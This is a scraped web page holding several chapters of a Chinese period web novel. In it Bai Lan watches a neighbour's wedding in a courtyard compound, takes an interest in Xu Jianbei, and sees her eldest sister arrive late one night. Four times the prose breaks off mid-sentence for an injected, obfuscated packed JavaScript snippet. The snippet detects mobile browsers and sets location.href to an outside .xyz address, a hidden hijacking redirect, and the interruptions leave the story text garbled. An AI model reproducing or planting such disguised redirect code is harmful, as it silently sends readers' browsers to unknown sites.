其中，许建南也就是男主，在家里排行老三。在纺织厂当销售员。平时跑销售的时候，会跟着北城运输公司的大货车押车，往全国各地跑。靠着这个便利，对方经常帮邻居们带货。 而从剪辑的短剧片段里，未来的许建南靠着这个当了物流公司老板。跟妻子柳美玲一起成为人人称道的创业人才。 没错，短剧女主柳美玲也是个大女主。对方在嫁给许建南以后，开始了创业发家模式。 那短短几分钟的短剧剪辑中，对方那些个高光时刻，白兰还历历在目。 她忍不住敲了敲脑袋，反省自己一直没有整理关于短剧的具体细节。这么重要的事情都差点忘了。 哦，对了。白兰翻了翻记忆，确定这个时候女主还没嫁过来。 —— 就在白兰努力回忆的时候，外面越发热闹起来。 只见不少人大声吆喝着往后院这边来。这些人手里不是提着东西，就是一起抬着家具。看着十分热闹。 白兰很少见到这样充满烟火气的热闹。忍不住走到门口看起来。 这时白妈妈也抱着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880064|159770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捆漂亮的花布走过来。见到女儿的样子，笑道：“是不是很热闹？建南这小子真有心。这结婚用的家具都跑海城那边买。” 白兰听到结婚两个字，惊讶道：“许三哥这是要结婚呢？那妈，你见过他对象吗？” “当然见过！那姑娘长得好，说话也有礼貌。跟建南十分相配！”白妈妈对许建南的对象柳美玲印象很好。这姑娘来过大杂院几次，说话做事瞧着就是个靠谱的。 白兰一听，对女主更加好奇起来了。 不过，女主暂时还没来，男主倒是先上门来了。 —— 晚上他们一家刚吃完晚饭，男主许建南就从外头走了进来。 对方先跟白家人一一问好，就是白兰，也被许建南恭喜了一番，夸她厉害能那么快找到工作。接着，对方才说起了来意。 “白叔，我这不是下周末要结婚了吗？我跟美玲商量过了，到时候在我们后院这里摆上几桌招待客人。这席面想请你帮忙操持！” 这年头物资不丰富，大多数人结婚都是不摆席面的。新人结婚，多数都是家家送点糖果瓜子沾沾喜气就成了。没想到许建南居然要摆席面。 白爸爸听到这邀请，倒没一口气拒绝。别看他是个白案师傅，但红案的手艺也不赖。但要做席面，即使是最简单的，肉蛋面粉这些都要备上一些。婚宴定在下周末，那很多东西就要尽快准备了。 听完白爸爸的话，许建南高兴道：“这次我从南边拉了不少食材回来。白叔你现在有空不？” 一听有南边的食材，白爸爸这个厨子就坐不住了。高兴起身就跟着许建南走了。 见白爸爸出门，白妈妈也跟着出去跟邻居们唠嗑。白二姐、白三姐也各自回屋里去了。白兰见状，干脆拿了今天换下来的脏衣服，准备去院子水槽那洗洗。 —— 不过人还没走到水槽，就听到有几个嫂子凑一起，正在那嘀嘀咕咕。白兰不用竖起耳朵，就听到她们在说自己。 “要我说白兰这是真亏了。那宋厂长的儿子我可见过，长得那叫个一表人才。听说那一家住的还是小洋楼。有那什么抽水马桶、大沙发、大吊灯……” “真的吗苏小妹？要真是这样，白兰可真是亏大发了！” 苏小妹见刘招娣搭话，手里的衣服也不洗了。双手在半空中比划，把手上沾着的水珠甩得到处都是。说到激动的地方，口沫更是飞溅出来。一副白兰错过一个亿的模样。 站在边上的白兰越听越想翻白眼儿。心想这苏小妹这样碎嘴，难怪未来会被柳美玲打脸打得啪啪响。 当下，她直接打断对方的话。 “许大嫂子，你这么了解宋家的情况。难不成你想改嫁到宋家啊！” 其他正在听热闹的嫂子们，被白兰的声音吓了一跳。反应过来对方话中的意思，一个个忍不住笑了起来。 苏小妹被白兰这样奚落，气得转头就想开骂。 但白兰不给她这个机会，转头拎着水盆就往前院去。后院水槽都被人占了，她去前院水槽洗衣裳去。 当然，心中对这些嫂子们的可惜，一点都不在意。还是那句话，三条腿的男人不好找，两条腿的男人满大街都是。她就不信找不到一个合心意的。找不到的话也不怕，一个人过日子也是美滋滋的。 不过，她刚跨过垂花门到了前院，就看到一个高大的身影从大门走了进来。 昏黄的灯光下，男人的面容有点模糊。但光是轮廓，白兰就能确定这人长得不赖。等这人完全走近后，白兰心中就是一乐。 好看的面容，任谁看到后都会觉得心情特别美丽。 5. 第 5 章 “哎，北哥。怎么这个点过来啊！” 一道懒洋洋的熟悉音调在边上响起。白兰看过去，果然就看到大头这小子，已经跟猴子一样朝那大帅哥窜了过去。那穿着老头衫、补丁大裤衩的模样，跟大帅哥那白衬衣、黑西裤形成了强烈的对比。 明明大头人也挺精神的，但这一刻，白兰愣是觉得这小子的颜值有点低。 大头可不知道老友白兰对自己的评价。这会子他看到好哥们过来，乐得不行。伸手拍着对方的肩膀，不忘高兴地问：“你这是知道许三哥出车回来了对吧！” 许建北见大头这样高兴，点点头。不过注意力却在白兰那边。主要是他认识白兰，更加知道白兰这两天那一桩轰轰烈烈的不作数亲事。 大头也在一开始的激动过后，对着白兰就喊道：“小兰，你不是说要请吃饭吗？咧，人现在来了，正好！” 许建北听这话，有点无奈：“大头，这么晚还吃什么饭。我先回家一趟。有什么事情明天再说。” 说完，礼貌朝白兰点点头，笑着朝后院走去。 这一连串的动作对话很快，白兰都有点反应不过来。见男人的大长腿几步路就进了后院西厢老许家。白兰这才看向大头。她心里有很多疑惑。这大帅哥，难道就是传闻中许家那个小儿子？ 大头像是看出了白兰的疑惑，伸手在她眼前晃了晃：“你不认识北哥啦！也是，这几年北哥都没怎么回来。即使回来了，他也不怎么跟女娃往来。你不认得也不奇怪。” 白兰听完，努力扒拉了一下记忆。从久远的记忆中，好像找到了一些关于许建北的记忆。 —— 主要这人很小就跟着许爷爷从大杂院搬到螺丝厂去住了。至于为啥搬走，那时候白兰年纪小，不太知道这些事情。只隐约记得，好像是因为许奶奶老是跟许爷爷闹腾什么的。不过这些老一辈的事情，距离她太遥远了些。 反正她就记得许建北跟许爷爷走了后，逢年过节都很少回来。今年年头许奶奶跟许爷爷前后脚都没了。大杂院的人这才偶尔有人提到许建北。 但这年头男女之间往来本来就少，加上许建北多年没在大杂院居住，所以白兰还真没能一下子，把刚刚那个大帅哥，跟许家小儿子许建北联系到一起。 “哎，你刚刚说请吃饭的事情。难不成许建北就是那位帮忙的人？” 白兰之前让大头去打听宋国平的小秘密，中间就有人帮了不少忙。现在看来，那人估摸就是许建北了。 果然，大头听完白兰的话，连连点头。 “就是北哥。他这不是在螺丝厂上班吗？螺丝厂跟钢铁厂有业务往来。再说，北哥在钢铁厂可认识不少人。” 白兰耳边听着大头那滔滔不绝的北哥、北哥。那副迷弟的样子，真让人有点想笑。 —— 而许建北这边已经进了家门，迎面就是大嫂苏小妹那抱怨的声音。 “白家那小闺女真是不像话，活该她被人给抛弃了。” 许建北是知道事情的来龙去脉的，很多关于宋家的细节，还是他告诉大头的。听到大嫂这颠倒黑白的话，他忍不住皱眉：“大嫂，都是邻居，说话注意点。” “哎哟，大忙人啊！怎么有空过来家里？我是你大嫂，你可没资格教训我。” 苗婶子见到小儿子过来，脸上的笑容还没来得及展开，听到大儿媳这单单打打的话，立刻不客气道：“我大儿子是来看我们老两口的。你看不惯就回你屋里去。” 苏小妹被这话气得又是狠狠跺脚。但她也知道婆婆就这性子，再啰嗦也没用。只朝廊下坐着听收音机的丈夫身上，狠狠拧了一大把。这才转身回了自己的屋里。 苗婶子见状直摇头，然后看向小儿子：“你三哥出车回来了。” 许建北：“知道，就是听说三哥回来，我这才过来给他送票的。” 说着，许建北从兜里掏出一沓子票。里面有粮票、肉票、油票、糖票，更有几张稀罕的外汇券。 苗婶子见状吓了一跳：“怎么这么多票？” 许老大听到这话，脑袋一直往许建北手上伸。苗大婶见状，没好气地瞪了大儿子一眼。拉着小儿子就往自己屋里去。 边走边唠叨：“叫你不用补贴家里。你又没住家里，这些票据自己存着，以后娶了媳妇给你媳妇花。” 许建北好笑地回道：“妈，等娶媳妇了我再赚给媳妇花就是了。这些是给三哥结婚用。三哥马上要结婚了，但最近我忙着厂里的项目，估计要等三哥结婚那天，才有空过来。” —— 白兰端着水盆回到后院，正好就看到苗婶子带着许建北进了西厢耳房。那屋就是许家老两口居住的屋子。 说起来，大杂院拥有独立产权的人家就三家。除了他们老白家，就是西厢房的老许家，剩下一户就是前院倒座房的老周家。 三家人中，老许家的人口是最多的。不过他们家也占了两间西厢房跟一间西厢耳房。所以住房来说不算太紧张。 不过他们家有点奇怪，老两口居住在一间耳房。两间西厢房各自分别从中间用木板隔开，再另外开了门。把两间板正的厢房，愣是改建成四小间屋子分给四个儿子。 不过，许家老二许建西下乡不在家里。老小许建北又住在螺丝厂。老三许建南经常出差。所以老许家经常见到的人，就只有老两口，以及大房一家四口。 之前忙着料理亲事，白兰还没去关注这个。不过现在亲事取消了，工作也落实了。这会子见到许建北，又从大头那听来不少对方的事情。她就对这家人感兴趣起来。 好歹，这不止是大帅哥的家，也是短剧男女主的家呢! 于是，白兰回到家里就问她妈许家的事情。不过得到的只有摇头：“许家的事情比较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880065|159770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复杂，你小人家家的，别去问这些陈谷子烂麻子的事情。” 白兰一听亲妈的语气，就知道从对方口中问不出什么来了。 —— 磨蹭了好一会儿，白兰这才从堂屋里出来，准备回自己屋里睡觉。 不过刚出堂屋门，正好就看到了许建北从西厢耳房走了出来。 “妈，你进去休息。等我手里头这个项目完成后，就有时间了。” 许建北朝还要送他到大门口的亲妈说着话，视线却看到白兰从正房屋里走出来的身影。 他跟来的时候一样，朝白兰礼貌微笑点头。对于宋家这件事情上，他十分欣赏白兰的果断跟聪慧。 白兰也没想到自己那么快就能再见到对方。朝许建北露出一个落落大方的笑容来。见许建北准备离开，白兰想了想索性走了过去：“许四哥……” 许建北停下脚步，询问的眼神看向白兰。 白兰笑容更加明显起来：“我听大头说了，宋家的事情多亏了你在其中提点他。之前不知道还好，现在知道了，就想着亲自跟你道谢。” 许建北眼底闪过一抹欣赏：“不用客气，本来就是宋家一开始目的不纯。” 对于白兰年纪轻轻就能不受宋家条件的诱惑，许建北就觉得这姑娘值得帮一把。 白兰也没啰嗦，道谢过后直接就邀请道：“我准备明天中午请大头跟秦艳一起吃饭。在宋家的事情上，他们都帮了不少忙。你有空一起过来吗？” 许建北想了想，摇头：“明天可能没时间。这次就算了，等我手头上的工作完成后，我请你们几个一起吃一顿好的。” 白兰听完点头，刚想说什么。就听到身后东厢那传来开门声音。于是，她立刻朝许建北使了个眼色，小声道：“胡寡妇要来了，你赶紧回去。” 许建北当然知道胡寡妇的威名，见白兰古灵精怪地朝他挤眼睛，掩住笑容朝她挥挥手，三两步就离开了大杂院。 而胡寡妇真的就在许建北的身影消失后，立马就冒了出来。对方满脸狐疑地伸长脑袋，恨不能从白兰身上看出一朵花来。 白兰朝对方露出一个嘚瑟的笑容，哼着歌儿直接回自己屋里去。 —— 屋里，白苹正在收拾自己的衣服，见白兰哼着歌进来，一副心情特美的模样。她咬咬嘴唇，直接问道：“小兰，你的工作是确定了，但这对象还没影儿呢！宋家真不再考虑吗？” 白兰诧异看向三姐，随即摇头。宋家这个“香饽饽”，她可不想沾上。 见白兰摇头，白苹想了想最后说道：“以后你不后悔就行了。” 白兰暗想：后悔是不可能后悔的。就宋国平这样的人，谁喜欢谁倒霉呢！真不如多看看今天见到的许四哥。人品看着没毛病，又长得帅。要是真找对象，找这样的就赏心悦目多了。 也不知道这许四哥有对象不？ 6. 第 6 章 “这鸭皮真香……” “加点大酱更香……” 热闹的烤鸭店里，白兰听着大头跟秦艳边吃边点评，忍不住想要摇头。她觉得这烤鸭直接吃不加其他东西，那都是香喷喷波波脆的。估计是因为这个时候的鸭子比后世有鸭味的多。 “还要再叫一个不？”白兰吞下口中那香喷喷的烤鸭，高兴问两人。 刚还沉浸美食的两人立马摇头：“不用不用，一个够我们三吃的了。不是还有饼子吗？再吃完这饼子就差不多了。” 两人都知道这烤鸭一只十多块，吃一只就够了。再叫一只就过分了。 白兰见状也没再说啥，准备回去的时候，再买两个鸭架子，一人给他们一个。两人的家里不像自家有个当大厨的老爹，总能吃到不少好吃的。 又过一会儿，烤鸭吃完了，饼子也统统进了三人的肚子后，大头抱着鼓起来的肚皮感叹：“北哥没来真是亏了。” 白兰好笑道：“人家这是工作忙呢！不像咱三都是闲人。” 说着，白兰忽然想起昨晚临睡前的疑问。于是，正了正脸色问道：“大头，你跟许四哥关系那么好。知道他有对象不？” “对象？应该……哎，不对。小兰。你问这个干嘛来着？”大头满脸狐疑地看向白兰。就是秦艳也跟着看了过来。 白兰没有扭扭捏捏：“我觉得他很合我心意！” 话音刚落，砰的一声响起。就见大头连人带椅子摔倒在地上。那动静让整个大堂的人都看了过来。 秦艳觉得丢人，捂脸伸手想去拉大头起来。 白兰则是被对方的大反应给弄得无语：“至于吗？” 大头一听，顾不上还坐在地上，拼命点头：“至于，至于。” 这简直太让人震惊了！大头怎么都没想到，白兰会看上北哥。因为从小一起长大，白兰又是个有主意的。大头一直就当对方是大姐头。北哥说是他好哥们，但大头一直都当对方是大哥。 现在大姐头看上了大哥。这……这让他有点缓不过神来。 白兰见大头一副被雷劈的模样，更加无语。她深吸一口气，也不问了。反正下次要再碰上许建北，她决定亲口问问对方。 希望对方别像大头的反应那么夸张！ —— 饭后，大头说有事，一个人就先走了。白兰跟秦艳则是一起走在回大杂院的路上。 “兰兰，你真看上许建北啊！” 白兰点头：“就是觉得这人应该很不错。”当然，也因为许建北刚好长在白兰的审美上。 秦艳羡慕道：“你也太勇了。居然直接就说出来。要是我就不好意思了。” 白兰：“没啥不好意思的。如果他有对象，就当我没问过就是了。” 秦艳想想忽然觉得好有道理。也没规定说女同志就不能打听男同志到底有没有对象的。 这边两人聊着，那头先一步离开的大头，已经跑到螺丝厂。 螺丝厂跟纺织厂其实算是挨着的。两家工厂距离杏花胡同，走路大概需要20分钟。大杂院除了许建北，还有人也在这个厂子上班。 当然，这会子大头来螺丝厂，主要是找许建北的。 之前听白兰的话，大头是很震惊的。但是震惊过后，他还是决定来找北哥打听打听。要是北哥有对象了，他就悄咪咪告诉白兰，让她放弃。当然，到时候记得喊上秦艳。让她安慰安慰白兰，男人到处都是，虽然北哥很好，但错过了也不要可惜。 就在大头脑补一大通的时候，许建北已经接到门卫的通知，来到了厂门口。 见大头一副神游的模样，许建北好笑地过去拍了他肩膀一下：“你小子要发呆也别跑我们厂门口啊！” 眼看着脑补的人出现在眼前，大头一个激灵，讨好笑笑：“北哥，你来啦！” 许建北挑眉，觉得大头今天不太对劲。微眯双眼问道：“是遇到什么事情了吗？” 大头摇头又点头。然后一咬牙，小声问道：“北哥，你有对象不？” 许建北眼底闪过一抹惊讶，紧接着摇头：“我这一毕业就进了项目组，哪里有时间找对象。” 嘴上说着，心中却开始猜测大头忽然问他的原因。很快有了些猜想，但又觉得不太可能。他摇摇头：“没事的话我要回去了，厂里忙着呢！” 大头刚想说没事了，结果就听到身后传来说话声：“小弟，正好你出来了。” 许建北抬头笑道：“三哥、三嫂。” 许建南带着柳美玲朝许建北走过来，见到大头，惊讶地看了过来。 大头见人家兄弟说话，立刻道别。心中想着回去立刻告诉白兰，北哥是个单身汉。 白兰可不知道大头悄咪咪做的事情。回到家里后，她就开始收拾自己的书本，再过几天就要去学校拿毕业证了。家里这些书要收拾起来。扔是不可能扔的。等高考重启后，这些书都能用得上。 —— 就这样又过了几天，时间很快就来到了短剧男女主结婚的好日子。 一大早还不到四点钟，西厢房那就开始有了响动。白兰的老爹白小牛同志已经答应了掌勺。所以白同志五点左右也起来了。 大杂院有好几位婶子、小媳妇，也被许家邀请帮忙准备席面。于是，整座三号大杂院就热闹了起来。 白兰也没睡懒觉。趁着水槽人还没那么多的时候，麻溜儿去装了水回屋里洗漱。等洗漱出来，就看到垂花门边上已经搭好了两口大灶。大灶烧着热水，水蒸气哗啦啦往上涌。 “小妹，过来吃早饭先！” 白兰听到二姐的声音，先回堂屋吃早饭。见她妈跟三姐也在吃着，没见她爸。就知道老爹已经在开始忙活起来。 “妈，待会儿我们要去帮忙不？”二姐白梨小声问道。 白妈妈点头：“去吧！你们姐妹三都去。”说着，又看向三女儿白苹。 “苹苹，成才今天会过来不？” 邱成才是白苹的对象，对方是百货大楼会计科统计员。同时也是许建南关系比较好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880066|159770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的同学之一。 今天许建南结婚，并没有邀请领导到场。听说是怕影响不好。所以邀请的都是关系好的同学朋友，以及经常跟着一起跑外面的大货车司机。加上许家、柳家一些重要亲戚。算下来不超过五十个人。 席面一共摆五桌。后院这里摆三桌，前院摆两桌。 像他们这种老邻居的，到时候席面家家派一个代表上桌就是了。 白苹一听她妈问邱成才，嘴巴动了动，点头：“许建南请他了。” —— 白兰在边上竖起耳朵听着，总觉得哪里怪怪的。不过很快她就没空去想这些了。因为吃过早饭，她就跟着二姐三姐一起，帮着看孩子。 没错，大杂院摆席面，已婚的男人、女人都去帮忙。他们这些没结婚的，就负责照看大杂院的孩子。别碰到席面上的吃食，或者跟来的客人闹腾。 白兰也是这时候才注意到，整个三号大杂院一共有8个小孩。这些小孩年纪都小于10岁。一个个都是调皮捣蛋的时候。这照看熊孩子真不是什么好差事。 好在，这边看孩子的未婚青年加起来也有十个了。一人看一个还有多的，总算没让熊孩子到处跑。 客人们开始陆陆续续来了。白兰坐在廊下，跟其他人一起看向这些客人。 这个时候，她听到胡寡妇的儿子胡爱民，拉着秦艳的大哥秦堂在那抱怨：“怎么来的都是大老粗，一个年轻点的姑娘都没有。” “你个臭小子，人家都是有好工作的。不是货车司机，就是办公室的干部。你小子看不上，你们这些女娃一个个都要瞪大双眼。说不定就能找到一个合心意的好对象。” 住在正房东耳房的刘招娣，不知道从哪里窜了出来。冷不丁就朝他们这些未婚人士大声道。 声音很大，让院子里的客人都朝他们看了过来。 白兰觉得有点子丢人。这刘招娣的屋子，就在白兰的屋子隔壁。她老是听到对方悄咪咪嘀咕她们白家女娃太多，害得她生不出男娃。也老是闻到刘招娣屋里传来一阵阵药味。 这会儿对方又是一副你们女娃，要努力扒拉上这些条件好的男客人，听着就让人不舒服。 不止白兰不舒服，其他人也同样不乐意搭理刘招娣。 刘招娣见自己好心好意的提醒被无视，觉得这些女娃真是好心当驴肝肺。她要不是嫁人了，肯定早凑上去跟那些人搭话了。 不过她没时间抱怨了。因为马上新郎就开着大货车，把新媳妇接回来啦！ —— 白兰是第一次看到这个年代的结婚仪式，很简单但特别热闹。就是拿着□□，对着伟大领袖鞠躬宣誓。 之后新人就出来跟朋友们聊天说话。 到了这个时候，帮忙的婶子、小媳妇们也腾出手来接自家的孩子回去。 于是，白兰空闲下来了。然后就看到三姐的对象，笑容满面地朝他们家走了过来。 而在对方不远处，还有一道熟悉的帅气身影。白兰见到对方后，惊讶挑眉。 7. 第 7 章 “阿苹，下午你有安排吗？要去看电影不？” 邱成才今天来参加许建南的婚宴，就打算好上午吃席，下午跟白苹去看电影。最近这半个月，白苹好像在忙什么。邱成才经常约她出去，但是她都有事情。 好在两人都在百货商店上班，不缺见面机会。但邱成才还是比较喜欢下班后跟白苹多相处。 白苹刚从熊孩子中腾出手来，见到邱成才过来就说一通。想说什么，不过顾忌到白梨、白兰都在场。她就住嘴了。 这时候邱成才也注意到了白梨跟白兰。讪笑着挠头：“二姐、小妹。你们好！不好意思，刚没注意到你们。” 这话一出，白兰差点笑出声音来。记忆中她就见过邱成才几次。没想到对方瞧着居然有点缺心眼儿。 白梨比较厚道，摇头笑笑：“你们聊，我跟小妹要去前院……” 今天许建南摆席面，他们老白家当然不能全上桌。家里的代表就是白妈妈。白爸爸是掌勺大师傅，默认就是要上桌吃席的。 所以她们姐妹三中午准备去附近的国营饭店吃一顿。不过现在邱成才来了，她们也不好在这里当电灯泡。 但白梨的话音刚落，就听到自家小妹小声道：“二姐，我这里也有点事。你一个人先去前院等等？” 顺着小妹的视线，白梨看到了高大俊朗的许建北。她当然认得许建北，就是好奇小妹怎么跟这人有来往。 —— 白梨往前院去了，但是后院这边人来人往。白苹跟邱成才就在边上。所以白兰也不好说什么。只看向许建北，用眼神询问对方的来意。 许建北是跟在邱成才身后走过来的。 过来后才惊觉大杂院这样热闹的环境，实在不是个说话的好地方。他歉意地朝白兰笑笑，刚想说点什么，忽然就听到西厢那边传来一阵女人的叫骂声。 声音还挺大的，愣是让热闹的后院都安静了一瞬间。 白兰见状，跟许建北对视一眼。两人默契地互相点头，一起朝西厢房走去。 两间西厢房加上一间西厢耳房，里头住的都是许家人。 这会子门口围着好些人，一个个都盯着敞开屋门的那间厢房。白兰要是没记错的话，这间被隔成两小间的厢房，一边住着许家老大许建东，一边住着许家老三许建南。其中，许建南的屋子因为结婚的关系，看起来格外的亮堂。 而叫骂声就是在这间亮堂的屋子响起的。 “叫你不注意，叫你不注意。居然把你三叔的被子弄脏了。”熟悉的女人叫骂声再次出现。紧接着就是一阵啪啪揍孩子的声音。再之后就是孩子的哭声。 白兰见状，立刻猜到里头发生什么事情。 —— 其他人也不傻，马上送嫁的柳家亲人立刻大声喊道：“亲家大嫂，你怎么不看着点孩子。好好的新被子，就被你家这熊孩子给祸祸了。” “我看她就是故意的。今天我们一来，这人说话就难听得很。”另一个柳家亲戚不忿地说道。 “哎，你们怎么那么恶毒。这小孩子控制不住尿裤子不是正常的吗？我这不都教训了这熊孩子一顿吗？人家老三家的都没吭声，你们这些送嫁的倒是嘴巴厉害得很！” 白兰听到尿裤子，瞬间就无语了。 合着不止把人家新房的新被子给弄脏了，还给尿了。简直让人无法接受。 好些个围观人的纷纷皱眉，一个个都觉得这许家大儿媳说话太难听。孩子也没教好。 苏小妹见状，反应也不慢。更加用力打手上拎着的小儿子。 这小儿子只有三岁，被亲妈揍了又揍，自然哭声一阵大过一阵。大喜日子，被人这样搅和，许建南跟柳美玲表情都特别难看。 偏家里最能制住苏小妹的婆婆苗大菊，这会子刚好去隔壁院儿借碗筷。 而在场已经有人开始劝苏小妹别打小孩，也有人在劝许建南夫妻不要跟小孩计较。就比如胡寡妇，已经在那开始说小孩子的屎尿都是干净的。尿了他们的新床，说不定马上就能生个大胖小子。 白兰在边上看着，十分无语。心想胡寡妇还真是个搅屎棍。但女主柳美玲在短剧剪辑中，那可是个雷厉风行的人物。这种暗亏，柳美玲应该不会吃。 —— 果然，就见柳美玲伸手按住想要说话的许建南。笑咪咪上去，伸手就把苏小妹手里拎着的小孩抢了过来。那动作叫一个快，看得白兰只想拍手叫好。 接下来柳美玲的动作，更是让所有围观的人都叫一声好。 只见柳美玲往小孩嘴里塞了颗糖。甜丝丝的味道让小孩立刻止住了哭泣，露出一个带着眼泪的笑容。 大伙儿看到这里，纷纷夸柳美玲人美心善。小孩子尿了她的新床，居然都不生气，还给小孩糖吃。 对比起来，苏小妹这个当亲妈的，不止看不好孩子，还把孩子打得嗷嗷叫。 但在苏小妹看来，就是柳美玲对她没辙，所以才用糖堵住她家娃的嘴。这让她忍不住洋洋得意的起来。 不过下一秒她就被打脸了。只听到柳美玲不急不缓地问小孩：“今天奶奶不是跟你还有你哥哥说了，不要去新房子的吗？你怎么一个人进去还爬上床？” 三岁的小孩已经有思想了，加上柳美玲语气温和，又是给自己糖吃的人。于是，小孩子直接道：“妈妈抱……尿急找妈妈，妈妈抱……” 周围人听完，都用难以置信的目光看向苏小妹。奇葩见多了，但在人家大喜日子这样故意膈应人的，还真是少见。 偏这个时候，苗大菊回来了。听说了事情的经过后，气得上去拉着许老大跟苏小妹，直接就往外头走。 边走边跟客人们笑道：“不好意思，不好意思。家里这点事情让大家见笑了，见笑了。大家先吃饭，饭菜好了。” 许建南这时候也出口招呼大家上桌，客人们陆陆续续坐下来。而胡同的邻居们大部分都跟着出去继续看热闹。不用说，苗大菊带着许老大夫妻出去，肯定是要教训人的。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880067|159770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰看完全场，再看看已经笑眯眯招呼客人吃饭的柳美玲，真想拍手叫好。心想以后大杂院可就有不少热闹可看了！ 这会儿她都快要忘记边上还站着个许建北。 许建北能说啥呢？ 本来今天想着跟白兰见面聊聊的。但现在真不是好时机。只能选择把自己想说的话按下，说起另外一个事情。 —— “真是没想到建南媳妇反应那么快，三两下就把苏小妹给摁下去了。” 傍晚时分，大杂院的热闹早已经散去。座椅板凳、锅碗瓢盆都各自安置好。整座大杂院恢复了以往的样子。当然，多了柳美玲这么一位新嫁娘。 大伙儿之前对她的印象是挺漂亮的小姑娘。这会子经过上午的事情后，大家又都觉得她是个厉害的。毕竟苏小妹这样的，三两下就被她给压下去了。 没见客人们一离开，苏小妹跟许老大就被压着跟柳美玲夫妻道歉。还有他们新房的床铺，统统都要大房赔一套新的。被尿了的床铺，这会子已经洗干净挂在廊下了。 白兰吃着晚饭，听着她妈聊起大杂院众人对柳美玲的评价，时不时点头。 不过她没有加入这个话题，心里还在琢磨上午许建北跟自己讲的话。 —— “小妹，小妹……” 这时候，耳边响起了三姐的声音。 “怎么呢？”白兰抬头看向白苹，不知道这位下午出去看电影的三姐，怎么忽然喊自己。 白苹：“我是问你，你什么时候跟许建北关系那么好了？” 白爸爸、白妈妈一听，立刻看向小闺女。显然他们忙活了大半天，完全不知道这个事情。 白兰皱眉看了白苹一眼，不知道对方为什么忽然问这么一个问题。她看向父母，直接把许建北的话转述了一遍。 “许四哥找我，是跟我说大姐的事情。” 许建北因为工作关系，跟钢铁厂有合作。而且，在钢铁厂的朋友正好跟大姐家一个筒子楼。听他说最近去了两趟钢铁厂，都看到大姐带着两个闺女在食堂吃饭。 这个事情看着很小，但是因为许建北知道白兰跟宋国平亲事的来龙去脉。加上大姐这反常的举动，担心是不是宋家人在背后搞什么小动作。 “建北这担心有道理。”听完白兰的话，白爸爸立刻说道。 白妈妈更是担忧说道：“要不是有事情的话，你大姐不会单独带两孩子吃食堂的。” 白家大姐是个节约惯的人，食堂的价格虽然不高，但在家里一大家子一起吃饭，显然更加省钱。而且连着几次都这样，怎么看怎么觉得哪里出问题了。 “正好今天席面分了一块猪肉。爱红，明天你给小莲送过去。顺便能问问她到底出什么事情了。”白爸爸立马拍板道。 大女儿就是那种报喜不报忧的人，白爸爸担心这闺女有什么事情憋在心中不跟家里说。 只是，不等白妈妈第二天去钢铁厂。当天晚上，大姐带着两个女儿上门来了。 8. 第 8 章 白兰的大姐白莲同志，今年25岁。目前是钢铁厂妇联干事。丈夫秦胜利，今年26岁，是钢铁厂销售员。两人育有两个女儿，一个叫秦淑芬，今年六岁。另外一个今年四岁，叫秦淑芳。 白兰记忆中的大姐，性格就是那种符合大众要求的贤惠本分。这样的大姐，嫁给一个钢铁厂的销售员。又通过对方家庭得到了钢铁厂的工作。在很多人眼中，大姐这样的人生是十分成功的。 这不，大姐这大晚上带着孩子出现在大杂院。有还没进屋睡觉的邻居看到后，第一反应就是白家大闺女今天回娘家有点晚了些。带着孩子这么晚过来不太安全。之后才是开始猜测白莲回家的原因。 当然，这是外头人的想法。搁在白家人这儿，大伙儿心中只有一个咯噔。 “都快九点了，怎么这时候带着孩子回来？”白妈妈见到大女儿后，第一反应就是拉着她进屋。当然，不忘给白爸爸使眼色，示意对方把两个外孙女也带进屋里。 白兰在边上注意着大姐跟两个外甥女的神色。见她们都进屋了，就准备去关门。不过关门前，发现后院有几个邻居一直往她家里瞧。显然都在好奇白大姐大晚上过来的目的。 没理会这些视线，白兰直接把屋门给关上了。 —— “妈，你在看什么？” 有气无力的声音在胡寡妇身后响起。对方听到后，脸上那幸灾乐祸的表情都没下来。 “看老白家的笑话！哼，大晚上嫁出去的闺女带着女儿回来。铁定没好事。” 